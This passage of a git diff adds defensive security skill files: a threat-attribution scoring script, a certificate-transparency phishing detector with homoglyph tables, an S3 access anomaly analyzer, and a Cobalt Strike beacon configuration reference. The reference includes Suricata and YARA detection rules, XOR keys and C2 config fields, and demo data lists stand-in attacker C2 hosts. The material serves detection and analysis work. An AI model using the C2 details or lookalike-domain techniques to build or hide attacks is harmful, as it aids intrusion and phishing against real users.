sum(detections.values()) or 1 + scored = {lang: round(count / total, 4) for lang, count in detections.items()} + return scored + + +def ach_analysis(hypotheses, evidence_items): + """Analysis of Competing Hypotheses (ACH) for attribution.""" + matrix = {} + for hyp in hypotheses: + hyp_name = hyp["name"] + matrix[hyp_name] = {"consistent": 0, "inconsistent": 0, "neutral": 0, "score": 0} + for evidence in evidence_items: + ev_name = evidence["name"] + consistency = evidence.get("hypotheses", {}).get(hyp_name, "neutral") + if consistency == "consistent": + matrix[hyp_name]["consistent"] += evidence.get("weight", 1) + elif consistency == "inconsistent": + matrix[hyp_name]["inconsistent"] += evidence.get("weight", 1) + else: + matrix[hyp_name]["neutral"] += evidence.get("weight", 1) + c = matrix[hyp_name]["consistent"] + i = matrix[hyp_name]["inconsistent"] + matrix[hyp_name]["score"] = round((c - i) / (c + i + 0.01), 4) + return matrix + + +def compute_attribution_score(scores): + """Compute weighted attribution confidence score.""" + total = 0.0 + for evidence_type, weight in EVIDENCE_WEIGHTS.items(): + score = scores.get(evidence_type, 0.0) + total += score * weight + confidence = "UNKNOWN" + for (low, high), label in CONFIDENCE_LEVELS.items(): + if low <= total < high: + confidence = label + break + return round(total, 4), confidence + + +def generate_attribution_report(campaign_name, candidate_actor, evidence): + """Generate structured attribution assessment report.""" + scores = {} + details = {} + + infra_score, infra_overlap = evaluate_infrastructure_overlap( + evidence.get("campaign_infra", []), evidence.get("actor_infra", [])) + scores["infrastructure_overlap"] = infra_score + details["infrastructure_overlap"] = infra_overlap + + ttp_score, ttp_overlap = evaluate_ttp_consistency( + evidence.get("campaign_ttps", []), evidence.get("actor_ttps", [])) + scores["ttp_consistency"] = ttp_score + details["ttp_consistency"] = ttp_overlap + + malware_score = evaluate_malware_similarity( + evidence.get("sample_features", []), evidence.get("known_features", [])) + scores["malware_code_similarity"] = malware_score + + timing = evaluate_timing_pattern( + evidence.get("timestamps", []), evidence.get("tz_offset")) + scores["timing_pattern"] = timing.get("score", 0.0) + details["timing"] = timing + + lang = evaluate_language_artifacts(evidence.get("strings", [])) + scores["language_artifact"] = max(lang.values()) if lang else 0.0 + details["language_artifacts"] = lang + + total_score, confidence = compute_attribution_score(scores) + + return { + "campaign": campaign_name, + "candidate_actor": candidate_actor, + "attribution_score": total_score, + "confidence_level": confidence, + "evidence_scores": scores, + "evidence_details": details, + } + + +if __name__ == "__main__": + print("=" * 60) + print("Campaign Attribution Evidence Analysis Agent") + print("Diamond Model, ACH, TTP/infrastructure/malware scoring") + print("=" * 60) + + demo_evidence = { + "campaign_infra": ["185.220.101.1", "evil-domain.com", "c2.attacker.net"], + "actor_infra": ["185.220.101.1", "c2.attacker.net", "other-domain.org"], + "campaign_ttps": ["T1566.001", "T1059.001", "T1053.005", "T1071.001", "T1041"], + "actor_ttps": ["T1566.001", "T1059.001", "T1053.005", "T1071.001", "T1021.001", "T1003.001"], + "sample_features": ["xor_0x55", "mutex_Global\\QWE", "ua_Mozilla5", "rc4_key"], + "known_features": ["xor_0x55", "mutex_Global\\QWE", "ua_Mozilla5", "aes_cbc"], + "timestamps": ["2024-03-15T06:30:00Z", "2024-03-15T07:15:00Z", + "2024-03-16T08:00:00Z", "2024-03-16T09:45:00Z"], + "tz_offset": 3, + "strings": ["Привет мир", "connect to server", "upload file"], + } + + report = generate_attribution_report("Operation DarkShadow", "APT29", demo_evidence) + + print(f"\n[*] Campaign: {report['campaign']}") + print(f"[*] Candidate: {report['candidate_actor']}") + print(f"[*] Attribution Score: {report['attribution_score']}") + print(f"[*] Confidence: {report['confidence_level']}") + print("\n--- Evidence Scores ---") + for ev, score in report["evidence_scores"].items(): + weight = EVIDENCE_WEIGHTS.get(ev, 0) + print(f" {ev:30s} score={score:.4f} weight={weight}") + print(f"\n[*] Full report:\n{json.dumps(report, indent=2, default=str)}") diff --git a/skills/analyzing-certificate-transparency-for-phishing/LICENSE b/skills/analyzing-certificate-transparency-for-phishing/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/analyzing-certificate-transparency-for-phishing/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/analyzing-certificate-transparency-for-phishing/references/api-reference.md b/skills/analyzing-certificate-transparency-for-phishing/references/api-reference.md new file mode 100644 index 00000000..e0a25445 --- /dev/null +++ b/skills/analyzing-certificate-transparency-for-phishing/references/api-reference.md @@ -0,0 +1,97 @@ +# API Reference: Certificate Transparency Phishing Detection + +## crt.sh API + +### Search Certificates +```bash +# JSON output +curl "https://crt.sh/?q=%.example.com&output=json" + +# Exclude expired +curl "https://crt.sh/?q=%.example.com&output=json&exclude=expired" + +# Exact match +curl "https://crt.sh/?q=example.com&output=json" +``` + +### Response Fields +| Field | Description | +|-------|-------------| +| `id` | Certificate ID in crt.sh database | +| `common_name` | Certificate CN | +| `name_value` | All SANs (newline-separated) | +| `issuer_name` | Certificate Authority | +| `not_before` | Validity start | +| `not_after` | Validity end | +| `serial_number` | Certificate serial | + +## Certstream - Real-time CT Monitoring + +### Python Client +```python +import certstream + +def callback(message, context): + if message["message_type"] == "certificate_update": + data = message["data"] + domains = data["leaf_cert"]["all_domains"] + for domain in domains: + if "example" in domain: + print(f"[ALERT] {domain}") + +certstream.listen_for_events(callback, url="wss://certstream.calidog.io/") +``` + +### Message Fields +| Field | Path | +|-------|------| +| Domains | `data.leaf_cert.all_domains` | +| Issuer | `data.leaf_cert.issuer.O` | +| Subject | `data.leaf_cert.subject.CN` | +| Fingerprint | `data.leaf_cert.fingerprint` | +| Source | `data.source.name` | + +## CT Log Servers + +| Log | Operator | URL | +|-----|----------|-----| +| Argon | Google | `ct.googleapis.com/logs/argon2024` | +| Xenon | Google | `ct.googleapis.com/logs/xenon2024` | +| Nimbus | Cloudflare | `ct.cloudflare.com/logs/nimbus2024` | +| Oak | Let's Encrypt | `oak.ct.letsencrypt.org/2024h1` | +| Yeti | DigiCert | `yeti2024.ct.digicert.com/log` | + +## Phishing Detection Techniques + +### Homoglyph / IDN Attacks +| Original | Lookalike | Technique | +|----------|-----------|-----------| +| example.com | examp1e.com | Character substitution (l→1) | +| google.com | gооgle.com | Cyrillic о (U+043E) | +| paypal.com | paypa1.com | l→1 substitution | +| microsoft.com | mіcrosoft.com | Cyrillic і (U+0456) | + +### dnstwist Integration +```bash +dnstwist -r -f json example.com # Generate and resolve permutations +dnstwist -w wordlist.txt example.com # Dictionary-based +``` + +## Certificate Details Lookup +```bash +# Get full certificate from crt.sh +curl "https://crt.sh/?d=" + +# OpenSSL inspection +openssl s_client -connect domain.com:443 -servername domain.com /dev/null | \ + openssl x509 -noout -text +``` + +## Suspicious Indicators +| Pattern | Risk Level | +|---------|-----------| +| Free CA + new domain + brand keyword | HIGH | +| Wildcard cert on recently registered domain | HIGH | +| Multiple certs for slight domain variants | MEDIUM | +| IDN/punycode domain mimicking brand | HIGH | +| Cert issued same day as domain registration | MEDIUM | diff --git a/skills/analyzing-certificate-transparency-for-phishing/scripts/agent.py b/skills/analyzing-certificate-transparency-for-phishing/scripts/agent.py new file mode 100644 index 00000000..e4ea0943 --- /dev/null +++ b/skills/analyzing-certificate-transparency-for-phishing/scripts/agent.py @@ -0,0 +1,213 @@ +#!/usr/bin/env python3 +"""Certificate Transparency monitoring agent for phishing detection. + +Queries crt.sh for certificates matching target domains, detects lookalike +certificates, and identifies potential phishing infrastructure. +""" + +import json +import os +import sys +import re +from datetime import datetime +from collections import defaultdict + +try: + import requests + HAS_REQUESTS = True +except ImportError: + HAS_REQUESTS = False + + +def query_crtsh(domain, wildcard=True, expired=False): + """Query crt.sh for certificates matching a domain.""" + if not HAS_REQUESTS: + return [] + query = f"%.{domain}" if wildcard else domain + params = {"q": query, "output": "json"} + if not expired: + params["exclude"] = "expired" + try: + resp = requests.get("https://crt.sh/", params=params, timeout=30) + resp.raise_for_status() + return resp.json() + except (requests.RequestException, json.JSONDecodeError) as e: + return [{"error": str(e)}] + + +def find_lookalike_domains(target_domain, ct_results): + """Identify certificates for domains that look similar to the target.""" + base = target_domain.split(".")[0].lower() + lookalikes = [] + for cert in ct_results: + cn = cert.get("common_name", "").lower() + names = cert.get("name_value", "").lower().split("\n") + for name in [cn] + names: + name = name.strip() + if not name or name == target_domain: + continue + similarity = calculate_similarity(base, name.split(".")[0]) + if similarity > 0.6 and name != target_domain: + lookalikes.append({ + "domain": name, + "similarity": round(similarity, 3), + "issuer": cert.get("issuer_name", ""), + "not_before": cert.get("not_before", ""), + "not_after": cert.get("not_after", ""), + "cert_id": cert.get("id"), + }) + seen = set() + unique = [] + for l in sorted(lookalikes, key=lambda x: -x["similarity"]): + if l["domain"] not in seen: + seen.add(l["domain"]) + unique.append(l) + return unique + + +def calculate_similarity(s1, s2): + """Calculate string similarity using Levenshtein-like ratio.""" + if s1 == s2: + return 1.0 + len1, len2 = len(s1), len(s2) + if len1 == 0 or len2 == 0: + return 0.0 + matrix = [[0] * (len2 + 1) for _ in range(len1 + 1)] + for i in range(len1 + 1): + matrix[i][0] = i + for j in range(len2 + 1): + matrix[0][j] = j + for i in range(1, len1 + 1): + for j in range(1, len2 + 1): + cost = 0 if s1[i-1] == s2[j-1] else 1 + matrix[i][j] = min(matrix[i-1][j] + 1, matrix[i][j-1] + 1, + matrix[i-1][j-1] + cost) + distance = matrix[len1][len2] + return 1.0 - distance / max(len1, len2) + + +HOMOGLYPH_MAP = { + "a": ["а", "@", "4"], "e": ["е", "3"], "o": ["о", "0"], + "i": ["і", "1", "l"], "l": ["1", "i", "I"], + "s": ["5", "$"], "t": ["7"], "g": ["9", "q"], +} + + +def detect_homoglyph_domains(target_domain, ct_results): + """Detect domains using homoglyph/IDN attacks against target.""" + findings = [] + base = target_domain.split(".")[0].lower() + for cert in ct_results: + names = cert.get("name_value", "").lower().split("\n") + for name in names: + name = name.strip() + if not name or name == target_domain: + continue + name_base = name.split(".")[0] + if len(name_base) == len(base): + diffs = sum(1 for a, b in zip(base, name_base) if a != b) + if 0 < diffs <= 2: + findings.append({ + "domain": name, + "char_differences": diffs, + "cert_id": cert.get("id"), + "issuer": cert.get("issuer_name", ""), + }) + return findings + + +def analyze_issuer_patterns(ct_results): + """Analyze certificate issuer patterns for anomalies.""" + issuer_counts = defaultdict(int) + free_cas = ["Let's Encrypt", "ZeroSSL", "Buypass"] + for cert in ct_results: + issuer = cert.get("issuer_name", "Unknown") + issuer_counts[issuer] += 1 + free_ca_certs = sum( + count for issuer, count in issuer_counts.items() + if any(ca.lower() in issuer.lower() for ca in free_cas) + ) + return { + "issuers": dict(issuer_counts), + "total_certs": len(ct_results), + "free_ca_count": free_ca_certs, + "free_ca_ratio": round(free_ca_certs / max(len(ct_results), 1), 3), + } + + +def detect_wildcard_abuse(ct_results): + """Detect suspicious wildcard certificate patterns.""" + wildcards = [] + for cert in ct_results: + cn = cert.get("common_name", "") + if cn.startswith("*."): + wildcards.append({ + "domain": cn, + "issuer": cert.get("issuer_name", ""), + "not_before": cert.get("not_before", ""), + }) + return wildcards + + +def generate_report(target_domain, ct_results): + """Generate comprehensive CT monitoring report.""" + lookalikes = find_lookalike_domains(target_domain, ct_results) + homoglyphs = detect_homoglyph_domains(target_domain, ct_results) + issuer_analysis = analyze_issuer_patterns(ct_results) + wildcards = detect_wildcard_abuse(ct_results) + + risk_score = 0 + risk_score += min(len(lookalikes) * 10, 40) + risk_score += min(len(homoglyphs) * 15, 30) + risk_score += 20 if issuer_analysis["free_ca_ratio"] > 0.8 else 0 + risk_score = min(risk_score, 100) + + return { + "target_domain": target_domain, + "total_certificates": len(ct_results), + "lookalike_domains": lookalikes[:20], + "homoglyph_domains": homoglyphs[:20], + "issuer_analysis": issuer_analysis, + "wildcard_certs": wildcards[:10], + "risk_score": risk_score, + "risk_level": "HIGH" if risk_score >= 60 else "MEDIUM" if risk_score >= 30 else "LOW", + } + + +if __name__ == "__main__": + print("=" * 60) + print("Certificate Transparency Phishing Detection Agent") + print("crt.sh queries, lookalike detection, homoglyph analysis") + print("=" * 60) + + domain = sys.argv[1] if len(sys.argv) > 1 else None + + if not domain: + print("\n[DEMO] Usage: python agent.py ") + print(" e.g. python agent.py example.com") + sys.exit(0) + + if not HAS_REQUESTS: + print("[!] Install requests: pip install requests") + sys.exit(1) + + print(f"\n[*] Querying crt.sh for: {domain}") + results = query_crtsh(domain) + print(f"[*] Found {len(results)} certificates") + + report = generate_report(domain, results) + + print(f"\n--- Lookalike Domains ({len(report['lookalike_domains'])}) ---") + for l in report["lookalike_domains"][:10]: + print(f" [{l['similarity']:.3f}] {l['domain']} (issuer: {l['issuer'][:40]})") + + print(f"\n--- Homoglyph Domains ({len(report['homoglyph_domains'])}) ---") + for h in report["homoglyph_domains"][:10]: + print(f" [diff={h['char_differences']}] {h['domain']}") + + print(f"\n--- Issuer Analysis ---") + for issuer, count in sorted(report["issuer_analysis"]["issuers"].items(), + key=lambda x: -x[1])[:5]: + print(f" {count:4d} | {issuer[:60]}") + + print(f"\n[*] Risk Score: {report['risk_score']}/100 ({report['risk_level']})") diff --git a/skills/analyzing-cloud-storage-access-patterns/LICENSE b/skills/analyzing-cloud-storage-access-patterns/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/analyzing-cloud-storage-access-patterns/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/analyzing-cloud-storage-access-patterns/SKILL.md b/skills/analyzing-cloud-storage-access-patterns/SKILL.md new file mode 100644 index 00000000..e598fe32 --- /dev/null +++ b/skills/analyzing-cloud-storage-access-patterns/SKILL.md @@ -0,0 +1,32 @@ +--- +name: analyzing-cloud-storage-access-patterns +description: >- + Detect abnormal access patterns in AWS S3, GCS, and Azure Blob Storage by analyzing CloudTrail + Data Events, GCS audit logs, and Azure Storage Analytics. Identifies after-hours bulk downloads, + access from new IP addresses, unusual API calls (GetObject spikes), and potential data exfiltration + using statistical baselines and time-series anomaly detection. +--- + +## Instructions + +1. Install dependencies: `pip install boto3 requests` +2. Query CloudTrail for S3 Data Events using AWS CLI or boto3. +3. Build access baselines: hourly request volume, per-user object counts, source IP history. +4. Detect anomalies: + - After-hours access (outside 8am-6pm local time) + - Bulk downloads: >100 GetObject calls from single principal in 1 hour + - New source IPs not seen in the prior 30 days + - ListBucket enumeration spikes (reconnaissance indicator) +5. Generate prioritized findings report. + +```bash +python scripts/agent.py --bucket my-sensitive-data --hours-back 24 --output s3_access_report.json +``` + +## Examples + +### CloudTrail S3 Data Event +```json +{"eventName": "GetObject", "requestParameters": {"bucketName": "sensitive-data", "key": "financials/q4.xlsx"}, + "sourceIPAddress": "203.0.113.50", "userIdentity": {"arn": "arn:aws:iam::123456789012:user/analyst"}} +``` diff --git a/skills/analyzing-cloud-storage-access-patterns/references/api-reference.md b/skills/analyzing-cloud-storage-access-patterns/references/api-reference.md new file mode 100644 index 00000000..b446bf13 --- /dev/null +++ b/skills/analyzing-cloud-storage-access-patterns/references/api-reference.md @@ -0,0 +1,49 @@ +# API Reference: Cloud Storage Access Pattern Analysis + +## AWS CLI - CloudTrail Lookup +```bash +aws cloudtrail lookup-events \ + --lookup-attributes AttributeKey=ResourceType,AttributeValue=AWS::S3::Object \ + --start-time 2024-01-15T00:00:00Z \ + --output json +``` + +## CloudTrail S3 Data Event Structure +```json +{ + "EventTime": "2024-01-15T10:30:00Z", + "EventName": "GetObject", + "Username": "analyst", + "CloudTrailEvent": "{\"sourceIPAddress\":\"10.0.0.1\",\"userAgent\":\"aws-cli\",\"requestParameters\":{\"bucketName\":\"data\",\"key\":\"file.csv\"},\"userIdentity\":{\"arn\":\"arn:aws:iam::123:user/analyst\"}}" +} +``` + +## Key S3 Event Names +| Event | Meaning | +|-------|---------| +| GetObject | Object download | +| PutObject | Object upload | +| DeleteObject | Object deletion | +| ListBucket / ListObjectsV2 | Bucket enumeration | +| GetBucketPolicy | Policy read | +| PutBucketPolicy | Policy modification | + +## Detection Thresholds +| Anomaly | Threshold | Severity | +|---------|-----------|----------| +| Bulk download | >100 GetObject/hr per user | Critical | +| After-hours | Access outside 08:00-18:00 UTC | Medium | +| New source IP | IP not in 30-day baseline | High | +| Enumeration | >20 ListBucket per user | High | + +## boto3 CloudTrail Client (alternative) +```python +import boto3 +client = boto3.client("cloudtrail") +response = client.lookup_events( + LookupAttributes=[{"AttributeKey":"ResourceType","AttributeValue":"AWS::S3::Object"}], + StartTime=datetime(2024,1,15), + MaxResults=50 +) +events = response["Events"] +``` diff --git a/skills/analyzing-cloud-storage-access-patterns/scripts/agent.py b/skills/analyzing-cloud-storage-access-patterns/scripts/agent.py new file mode 100644 index 00000000..5bb0aa8b --- /dev/null +++ b/skills/analyzing-cloud-storage-access-patterns/scripts/agent.py @@ -0,0 +1,200 @@ +#!/usr/bin/env python3 +"""Cloud Storage Access Pattern Analyzer - Detects abnormal S3/GCS/Azure Blob access via CloudTrail.""" + +import json +import logging +import argparse +import subprocess +from collections import defaultdict +from datetime import datetime, timedelta + +logging.basicConfig(level=logging.INFO, format="%(asctime)s [%(levelname)s] %(message)s") +logger = logging.getLogger(__name__) + + +def query_cloudtrail_s3_events(bucket_name, hours_back=24): + """Query CloudTrail for S3 data events on a specific bucket.""" + start_time = (datetime.utcnow() - timedelta(hours=hours_back)).strftime("%Y-%m-%dT%H:%M:%SZ") + cmd = [ + "aws", "cloudtrail", "lookup-events", + "--lookup-attributes", f"AttributeKey=ResourceType,AttributeValue=AWS::S3::Object", + "--start-time", start_time, + "--output", "json", + ] + result = subprocess.run(cmd, capture_output=True, text=True) + if result.returncode != 0: + logger.error("CloudTrail query failed: %s", result.stderr[:200]) + return [] + events = json.loads(result.stdout).get("Events", []) + s3_events = [] + for event in events: + ct_event = json.loads(event.get("CloudTrailEvent", "{}")) + req_params = ct_event.get("requestParameters", {}) + if req_params.get("bucketName") == bucket_name or not bucket_name: + s3_events.append({ + "timestamp": event.get("EventTime", ""), + "event_name": event.get("EventName", ""), + "username": event.get("Username", ""), + "source_ip": ct_event.get("sourceIPAddress", ""), + "user_agent": ct_event.get("userAgent", ""), + "bucket": req_params.get("bucketName", ""), + "key": req_params.get("key", ""), + "user_arn": ct_event.get("userIdentity", {}).get("arn", ""), + }) + logger.info("Retrieved %d S3 events for bucket '%s'", len(s3_events), bucket_name or "all") + return s3_events + + +def detect_bulk_downloads(events, threshold=100): + """Detect bulk GetObject operations from a single principal.""" + user_downloads = defaultdict(list) + for event in events: + if event["event_name"] == "GetObject": + user_downloads[event["user_arn"]].append(event) + alerts = [] + for user_arn, downloads in user_downloads.items(): + if len(downloads) >= threshold: + keys = [d["key"] for d in downloads] + alerts.append({ + "user_arn": user_arn, + "download_count": len(downloads), + "unique_keys": len(set(keys)), + "source_ips": list({d["source_ip"] for d in downloads}), + "first_access": downloads[0]["timestamp"], + "last_access": downloads[-1]["timestamp"], + "severity": "critical", + "indicator": "Bulk download (potential exfiltration)", + }) + logger.info("Found %d bulk download alerts", len(alerts)) + return alerts + + +def detect_after_hours_access(events, business_start=8, business_end=18): + """Detect access outside business hours.""" + after_hours = [] + for event in events: + try: + ts = event["timestamp"] + if isinstance(ts, str): + dt = datetime.fromisoformat(ts.replace("Z", "+00:00")) + else: + dt = ts + hour = dt.hour + if hour < business_start or hour >= business_end: + event["indicator"] = f"After-hours access at {hour:02d}:00 UTC" + event["severity"] = "medium" + after_hours.append(event) + except (ValueError, AttributeError): + continue + logger.info("Found %d after-hours access events", len(after_hours)) + return after_hours + + +def detect_new_source_ips(events, known_ips=None): + """Detect access from IP addresses not in the known baseline.""" + if known_ips is None: + known_ips = set() + new_ip_events = [] + for event in events: + ip = event["source_ip"] + if ip and ip not in known_ips and not ip.startswith("AWS Internal"): + event["indicator"] = f"New source IP: {ip}" + event["severity"] = "high" + new_ip_events.append(event) + unique_new = len({e["source_ip"] for e in new_ip_events}) + logger.info("Found %d events from %d new source IPs", len(new_ip_events), unique_new) + return new_ip_events + + +def detect_enumeration(events, threshold=20): + """Detect ListBucket/ListObjects enumeration patterns.""" + user_listings = defaultdict(int) + for event in events: + if event["event_name"] in ("ListBucket", "ListObjects", "ListObjectsV2"): + user_listings[event["user_arn"]] += 1 + alerts = [] + for user_arn, count in user_listings.items(): + if count >= threshold: + alerts.append({ + "user_arn": user_arn, + "list_count": count, + "severity": "high", + "indicator": "Bucket enumeration spike (reconnaissance)", + }) + return alerts + + +def build_access_baseline(events): + """Build statistical baseline of normal access patterns.""" + hourly_counts = defaultdict(int) + user_counts = defaultdict(int) + ip_set = set() + for event in events: + try: + ts = event["timestamp"] + if isinstance(ts, str): + dt = datetime.fromisoformat(ts.replace("Z", "+00:00")) + hourly_counts[dt.hour] += 1 + except (ValueError, AttributeError): + pass + user_counts[event["user_arn"]] += 1 + if event["source_ip"]: + ip_set.add(event["source_ip"]) + return { + "hourly_distribution": dict(hourly_counts), + "user_request_counts": dict(user_counts), + "known_ips": list(ip_set), + "total_events": len(events), + } + + +def generate_report(events, bulk_alerts, after_hours, new_ips, enum_alerts, baseline): + """Generate cloud storage access analysis report.""" + report = { + "timestamp": datetime.utcnow().isoformat(), + "total_events_analyzed": len(events), + "bulk_download_alerts": bulk_alerts, + "after_hours_access": len(after_hours), + "new_source_ip_events": len(new_ips), + "enumeration_alerts": enum_alerts, + "baseline_summary": { + "known_ips": len(baseline.get("known_ips", [])), + "total_baseline_events": baseline.get("total_events", 0), + }, + "sample_after_hours": after_hours[:10], + "sample_new_ips": new_ips[:10], + } + total_alerts = len(bulk_alerts) + len(enum_alerts) + (1 if new_ips else 0) + print(f"CLOUD STORAGE REPORT: {len(events)} events, {total_alerts} alerts") + return report + + +def main(): + parser = argparse.ArgumentParser(description="Cloud Storage Access Pattern Analyzer") + parser.add_argument("--bucket", default="", help="S3 bucket name to analyze") + parser.add_argument("--hours-back", type=int, default=24) + parser.add_argument("--bulk-threshold", type=int, default=100) + parser.add_argument("--known-ips-file", help="File with known IP baselines") + parser.add_argument("--output", default="s3_access_report.json") + args = parser.parse_args() + + events = query_cloudtrail_s3_events(args.bucket, args.hours_back) + baseline = build_access_baseline(events) + known_ips = set(baseline.get("known_ips", [])) + if args.known_ips_file: + with open(args.known_ips_file) as f: + known_ips.update(line.strip() for line in f if line.strip()) + + bulk_alerts = detect_bulk_downloads(events, args.bulk_threshold) + after_hours = detect_after_hours_access(events) + new_ips = detect_new_source_ips(events, known_ips) + enum_alerts = detect_enumeration(events) + + report = generate_report(events, bulk_alerts, after_hours, new_ips, enum_alerts, baseline) + with open(args.output, "w") as f: + json.dump(report, f, indent=2, default=str) + logger.info("Report saved to %s", args.output) + + +if __name__ == "__main__": + main() diff --git a/skills/analyzing-cobalt-strike-beacon-configuration/LICENSE b/skills/analyzing-cobalt-strike-beacon-configuration/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/analyzing-cobalt-strike-beacon-configuration/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/analyzing-cobalt-strike-beacon-configuration/references/api-reference.md b/skills/analyzing-cobalt-strike-beacon-configuration/references/api-reference.md new file mode 100644 index 00000000..f2e192e8 --- /dev/null +++ b/skills/analyzing-cobalt-strike-beacon-configuration/references/api-reference.md @@ -0,0 +1,112 @@ +# API Reference: Cobalt Strike Beacon Configuration Analysis + +## Beacon Config TLV Format + +### Structure +``` +[Field ID: 2 bytes][Type: 2 bytes][Value: variable] +Type 1 = short (2 bytes), Type 2 = int (4 bytes), Type 3 = string/blob (2-byte length + data) +``` + +### XOR Encoding +| Version | XOR Key | +|---------|---------| +| CS 3.x | `0x69` | +| CS 4.x | `0x2E` | + +### Key Configuration Fields +| ID | Name | Description | +|----|------|-------------| +| 1 | BeaconType | 0=HTTP, 1=Hybrid, 2=SMB, 8=HTTPS | +| 2 | Port | C2 communication port | +| 3 | SleepTime | Beacon interval (ms) | +| 5 | Jitter | Random sleep variation (%) | +| 7 | PublicKey | RSA public key for encryption | +| 8 | C2Server | Command and control server(s) | +| 9 | UserAgent | HTTP User-Agent string | +| 10 | PostURI | POST callback URI | +| 37 | Watermark | License watermark (operator ID) | +| 54 | PipeName | Named pipe for SMB beacons | + +## 1768.py (Didier Stevens) - Config Extractor + +### Syntax +```bash +python 1768.py # Extract config +python 1768.py -j # JSON output +python 1768.py -r # Raw config dump +``` + +## CobaltStrikeParser (SentinelOne) + +### Syntax +```bash +python parse_beacon_config.py +python parse_beacon_config.py --json +``` + +### Output Fields +``` +BeaconType: HTTPS +Port: 443 +SleepTime: 60000 +Jitter: 37 +C2Server: update.microsoft-cdn.com,/api/v2 +UserAgent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) +Watermark: 305419896 +SpawnToX86: %windir%\syswow64\dllhost.exe +SpawnToX64: %windir%\sysnative\dllhost.exe +``` + +## JARM Fingerprinting + +### Cobalt Strike Default JARM +```bash +# Default CS JARM hash (pre-4.7) +07d14d16d21d21d07c42d41d00041d24a458a375eef0c576d23a7bab9a9fb1 + +# Scan with JARM +python jarm.py -p 443 +``` + +## Known Watermark Values +| Watermark | Attribution | +|-----------|------------| +| 0 | Trial/cracked version | +| 305419896 | Common cracked version | +| 1359593325 | Known threat actor toolkit | +| 1580103824 | Known APT usage | + +## Detection Signatures + +### Suricata +``` +alert http $HOME_NET any -> $EXTERNAL_NET any ( + msg:"ET MALWARE Cobalt Strike Beacon"; + content:"/submit.php"; http_uri; + content:"Cookie:"; http_header; + pcre:"/Cookie:\s[A-Za-z0-9+/=]{60,}/H"; + sid:2028591; rev:1;) +``` + +### YARA +```yara +rule CobaltStrike_Beacon { + strings: + $config_v3 = { 00 01 00 01 00 02 ?? ?? 00 01 00 02 } + $magic = "MSSE-%d-server" + $pipe = "\\\\.\\pipe\\msagent_" + condition: + uint16(0) == 0x5A4D and any of them +} +``` + +## Malleable C2 Profile Elements +| Element | Description | +|---------|-------------| +| `http-get` | GET request profile (URI, headers, metadata transform) | +| `http-post` | POST request profile (URI, body transform) | +| `set sleeptime` | Default beacon interval | +| `set jitter` | Randomization percentage | +| `set useragent` | HTTP User-Agent | +| `set pipename` | SMB named pipe name | diff --git a/skills/analyzing-cobalt-strike-beacon-configuration/scripts/agent.py b/skills/analyzing-cobalt-strike-beacon-configuration/scripts/agent.py new file mode 100644 index 00000000..f008f1ab --- /dev/null +++ b/skills/analyzing-cobalt-strike-beacon-configuration/scripts/agent.py @@ -0,0 +1,241 @@ +#!/usr/bin/env python3 +"""Cobalt Strike beacon configuration extraction and analysis agent. + +Extracts C2 configuration from beacon payloads including server addresses, +communication settings, malleable C2 profile details, and watermark values. +""" + +import struct +import os +import sys +import json +import hashlib +import re +from collections import OrderedDict + +# Cobalt Strike beacon configuration field IDs (Type-Length-Value format) 